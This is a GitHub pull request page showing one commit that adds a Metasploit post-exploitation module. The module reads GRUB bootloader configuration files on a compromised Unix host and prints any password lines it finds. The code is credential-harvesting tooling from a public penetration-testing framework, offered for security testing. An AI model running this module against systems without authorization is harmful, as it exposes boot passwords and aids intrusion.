New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Enhance grub_creds module with improvements from grub_password module in #11426 #12505
Merged
+164
−97
Merged
Changes from 1 commit
Commits
Show all changes
16 commits
Select commit
Hold shift + click to select a range
22340ab
Add *nix Gather Grub Password module
dgarvit 68414d0
Make suggested changes to grub_password module
dgarvit 85add74
Make suggested changes to grub_password module
dgarvit 2dd9466
Add documentation for grub_password module
dgarvit a1b1ace
Save the gathered credentials to database
dgarvit f823927
Update documentation
dgarvit c48a6dd
Add /boot/grub2/user.cfg path to grub_password
dgarvit d4ac2ef
add parsing function and cred table
space-r7 c6ecef3
Merge #11426, other grub password extraction module
busterb bd76e1f
initial tidy pass w/rubocop
busterb 4d8e9ba
expand file list from grub_cred
busterb 0ebcda3
merge credits
busterb 4c1f117
add auto targeting from grub.d and FILENAME option
busterb 4abee63
only loot config files with passwords
busterb 99ed2b7
merge modules and documentation
busterb 04c3b68
fix no-creds case, don't print table and creds unless we found some
busterb File filter...
Filter file types
Jump to…
Jump to file or symbol
Failed to load files and symbols.
Loading status checks…
Add *nix Gather Grub Password module
- Loading branch information
dgarvit
committed
Feb 17, 2019
dgarvit
Garvit Dewan
commit 22340ab2c118646d84baf77874c0ae609fa97834
Verified
This commit was signed with a verified signature.
GPG key ID: 84E699EE7EBD2EDF
Learn about signing commits
@@ -0,0 +1,61 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Post | ||
include Msf::Post::File | ||
include Msf::Post::Unix | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => '*nix Gather Grub Password', | ||
'Description' => %q{ | ||
This module gathers grub passwords from grub bootloader config file. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Garvit Dewan <d.garvit[at]gmail.com>' # @dgarvit | ||
], | ||
'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'], | ||
'SessionTypes' => ['meterpreter', 'shell'], | ||
'References' => [ | ||
['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] | ||
] | ||
)) | ||
end | ||
|
||
def run | ||
targets = [ | ||
'/boot/grub/grub.conf', | ||
'/boot/grub/grub.cfg', | ||
'/etc/grub.conf', | ||
'/etc/grub/grub.cfg', | ||
'/etc/grub.d/00_header', | ||
'/mnt/sysimage/boot/grub.conf', | ||
'/mnt/boot/grub/grub.conf', | ||
'/rpool/boot/grub/grub.cfg' | ||
] | ||
|
||
targets.each do |target| | ||
if file? target | ||
print_status("Reading #{target}") | ||
file = read_file(target) | ||
lines = file.split("\n") | ||
found = false | ||
lines.each do |line| | ||
line = line.strip | ||
if line.start_with?("password") | ||
print_line(line) | ||
found = true | ||
end | ||
end | ||
|
||
if !found | ||
print_status("No password found in config file") | ||
end | ||
end | ||
end | ||
end | ||
end |
ProTip!
Use n and p to navigate between commits in a pull request.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.